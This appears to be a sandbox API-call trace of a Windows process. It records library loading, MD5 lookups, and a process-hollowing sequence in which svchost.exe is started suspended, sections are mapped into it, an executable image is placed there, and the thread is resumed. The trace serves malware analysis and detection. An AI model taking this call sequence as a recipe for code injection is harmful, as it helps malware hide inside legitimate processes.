06:38:16,188	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x00010000 BaseAddress => 0x01a1c000	SUCCESS	0x00000000
06:38:16,188	996	LdrGetDllHandle	ModuleHandle => 0x774e0000 FileName => ole32.dll	SUCCESS	0x00000000
06:38:16,188	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CoCreateInstanceEx FunctionAddress => 0x77500526 ModuleHandle => 0x774e0000	SUCCESS	0x00000000
06:38:16,188	996	LdrLoadDll	Flags => 522604 BaseAddress => 0x77120000 FileName => oleaut32.dll	SUCCESS	0x00000000
06:38:16,198	996	LdrLoadDll	Flags => 522188 BaseAddress => 0x77120000 FileName => OLEAUT32.dll	SUCCESS	0x00000000
06:38:16,198	996	LdrGetProcedureAddress	Ordinal => 147 FunctionName => FunctionAddress => 0x77126aa6 ModuleHandle => 0x77120000	SUCCESS	0x00000000
06:38:16,198	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0000d000 BaseAddress => 0x00199000	SUCCESS	0x00000000
06:38:16,208	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0001a000 BaseAddress => 0x001a6000	SUCCESS	0x00000000
06:38:16,208	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x00021000 BaseAddress => 0x01b11000	SUCCESS	0x00000000
06:38:16,218	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x00017000 BaseAddress => 0x00199000	SUCCESS	0x00000000
06:38:16,228	996	LdrGetProcedureAddress	Ordinal => 4 FunctionName => FunctionAddress => 0x77124b39 ModuleHandle => 0x77120000	SUCCESS	0x00000000
06:38:16,258	996	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x01c10000	SUCCESS	0x00000000
06:38:16,268	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0001d000 BaseAddress => 0x01a4a000	SUCCESS	0x00000000
06:38:16,268	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0000e000 BaseAddress => 0x01a3c000	SUCCESS	0x00000000
06:38:16,268	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0000e000 BaseAddress => 0x01a2e000	SUCCESS	0x00000000
06:38:16,268	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0001e000 BaseAddress => 0x0030d000	SUCCESS	0x00000000
06:38:16,268	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0001c000 BaseAddress => 0x002f1000	SUCCESS	0x00000000
06:38:16,278	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0001d000 BaseAddress => 0x01a11000	SUCCESS	0x00000000
06:38:16,278	996	LdrLoadDll	Flags => 522780 BaseAddress => 0x77dd0000 FileName => advapi32.dll	SUCCESS	0x00000000
06:38:16,278	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => MD5Init FunctionAddress => 0x77de7058 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:38:16,278	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => MD5Update FunctionAddress => 0x77de7132 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:38:16,278	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => MD5Final FunctionAddress => 0x77de7092 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:38:16,308	996	CreateProcessInternalW	ApplicationName => ProcessId => 796 CommandLine => svchost.exe ThreadHandle => 0x00000230 ProcessHandle => 0x00000224 ThreadId => 1388 CreationFlags => 0x00000004	SUCCESS	0x00000001
06:38:16,308	996	NtReadVirtualMemory	Buffer => \x00\x00\x00\x01 ProcessHandle => 0x00000224 BaseAddress => 0x7ffde008	SUCCESS	0x00000000
06:38:16,308	996	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f001f SectionHandle => 0x0000022c FileHandle => 0x00000000	SUCCESS	0x00000000
06:38:16,308	996	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x0000022c ProcessHandle => 0xffffffff BaseAddress => 0x01c20000	SUCCESS	0x00000000
06:38:16,308	996	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x0000022c ProcessHandle => 0x00000224 BaseAddress => 0x00090000	SUCCESS	0x00000000
06:38:16,328	996	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f001f SectionHandle => 0x000001b4 FileHandle => 0x00000000	SUCCESS	0x00000000
06:38:16,328	996	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x000001b4 ProcessHandle => 0xffffffff BaseAddress => 0x01c40000	SUCCESS	0x00000000
06:38:16,338	996	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x000001b4 ProcessHandle => 0x00000224 BaseAddress => 0x002b0000	SUCCESS	0x00000000
06:38:16,338	996	NtReadVirtualMemory	Buffer => MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4 \xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode. $\x00\x00\x00\x00\x00\x00\x00\xfc\xa9\xf5f\xb8\xc8\x9b5\xb8\xc8\x9b5\xb8\xc8\x9b5{\xc7\xfb5\xb9\xc8\x9b5{\xc7\xc65\xb1\xc8\x9b5\xb8\xc8\x9a5\xe7\xc8\x9b5{\xc7\xc55\xb9\xc8\x9b5{\xc7\xc45\xb4\xc8\x9b5{\xc7\xc15\xb9\xc8\x9b5Rich\xb8\xc8\x9b5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x03\x00\xc0[\x02H\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x0f\x01\x0b\x01\x07 \x00,\x00\x00 ProcessHandle => 0x00000224 BaseAddress => 0x01000000	SUCCESS	0x00000000	1 time
06:38:16,338	996	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f001f SectionHandle => 0x00000234 FileHandle => 0x00000000	SUCCESS	0x00000000
06:38:16,338	996	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x00000234 ProcessHandle => 0xffffffff BaseAddress => 0x02150000	SUCCESS	0x00000000
06:38:16,338	996	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x00000234 ProcessHandle => 0x00000224 BaseAddress => 0x01000000	SUCCESS	0x00000000
06:38:16,358	996	NtResumeThread	SuspendCount => 1 ThreadHandle => 0x00000230	SUCCESS	0x00000000
06:38:16,358	996	NtFreeVirtualMemory	FreeType => 0x00000000 ProcessHandle => 0xffffffff RegionSize => 0x00000000 BaseAddress => 0x01c50000	FAILURE	3221225714
06:38:16,358	996	NtDelayExecution	Milliseconds => 60000	SUCCESS	0x00000000